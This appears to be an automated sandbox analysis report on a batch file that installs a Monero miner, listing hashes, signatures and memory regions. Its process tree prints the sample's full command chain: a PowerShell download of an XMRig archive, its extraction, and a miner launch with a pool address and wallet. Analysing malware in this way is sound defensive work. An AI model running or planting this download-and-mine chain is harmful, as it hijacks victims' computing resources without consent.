Analysis

  • max time kernel
    1792s
  • max time network
    1788s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2420
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3504
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3008
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4676

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2420-7-0x0000022E2E300000-0x0000022E2E310000-memory.dmp

    Filesize

    64KB

  • memory/2420-10-0x0000022E2E490000-0x0000022E2E506000-memory.dmp

    Filesize

    472KB

  • memory/2420-25-0x0000022E2E300000-0x0000022E2E310000-memory.dmp

    Filesize

    64KB

  • memory/2420-6-0x0000022E2E300000-0x0000022E2E310000-memory.dmp

    Filesize

    64KB

  • memory/2420-5-0x00007FFACE6B0000-0x00007FFACF09C000-memory.dmp

    Filesize

    9.9MB

  • memory/2420-4-0x0000022E160F0000-0x0000022E16112000-memory.dmp

    Filesize

    136KB

  • memory/2420-26-0x00007FFACE6B0000-0x00007FFACF09C000-memory.dmp

    Filesize

    9.9MB

  • memory/2420-27-0x0000022E2E300000-0x0000022E2E310000-memory.dmp

    Filesize

    64KB

  • memory/2420-28-0x0000022E2E300000-0x0000022E2E310000-memory.dmp

    Filesize

    64KB

  • memory/2420-29-0x0000022E2E300000-0x0000022E2E310000-memory.dmp

    Filesize

    64KB

  • memory/2420-34-0x00007FFACE6B0000-0x00007FFACF09C000-memory.dmp

    Filesize

    9.9MB

  • memory/3008-40-0x00007FFACE6B0000-0x00007FFACF09C000-memory.dmp

    Filesize

    9.9MB

  • memory/3008-42-0x0000019B1DAF0000-0x0000019B1DB00000-memory.dmp

    Filesize

    64KB

  • memory/3008-41-0x0000019B1DAF0000-0x0000019B1DB00000-memory.dmp

    Filesize

    64KB

  • memory/3008-66-0x0000019B1DAF0000-0x0000019B1DB00000-memory.dmp

    Filesize

    64KB

  • memory/3008-93-0x0000019B1DAD0000-0x0000019B1DADA000-memory.dmp

    Filesize

    40KB

  • memory/3008-80-0x0000019B1DD00000-0x0000019B1DD12000-memory.dmp

    Filesize

    72KB

  • memory/3008-117-0x00007FFACE6B0000-0x00007FFACF09C000-memory.dmp

    Filesize

    9.9MB

  • memory/4676-120-0x00000232CB370000-0x00000232CB390000-memory.dmp

    Filesize

    128KB

  • memory/4676-121-0x00000232CB3C0000-0x00000232CB3E0000-memory.dmp

    Filesize

    128KB

  • memory/4676-122-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-123-0x00000232CCB90000-0x00000232CCBB0000-memory.dmp

    Filesize

    128KB

  • memory/4676-124-0x00000232CCBB0000-0x00000232CCBD0000-memory.dmp

    Filesize

    128KB

  • memory/4676-125-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-126-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-127-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-128-0x00000232CCB90000-0x00000232CCBB0000-memory.dmp

    Filesize

    128KB

  • memory/4676-129-0x00000232CCBB0000-0x00000232CCBD0000-memory.dmp

    Filesize

    128KB

  • memory/4676-130-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-131-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-132-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-133-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-134-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-135-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-136-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-137-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-138-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-139-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-140-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-141-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-142-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-143-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-144-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-145-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-146-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-147-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-148-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-149-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-150-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-151-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-152-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-153-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-154-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-155-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-156-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-157-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-158-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-159-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-160-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-161-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-162-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-163-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-164-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-165-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-166-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-167-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-168-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-169-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-170-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-171-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-172-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-173-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-174-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-175-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-176-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-177-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-178-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-179-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-180-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-181-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-182-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-183-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-184-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-185-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-186-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-187-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB

  • memory/4676-188-0x00007FF656690000-0x00007FF657193000-memory.dmp

    Filesize

    11.0MB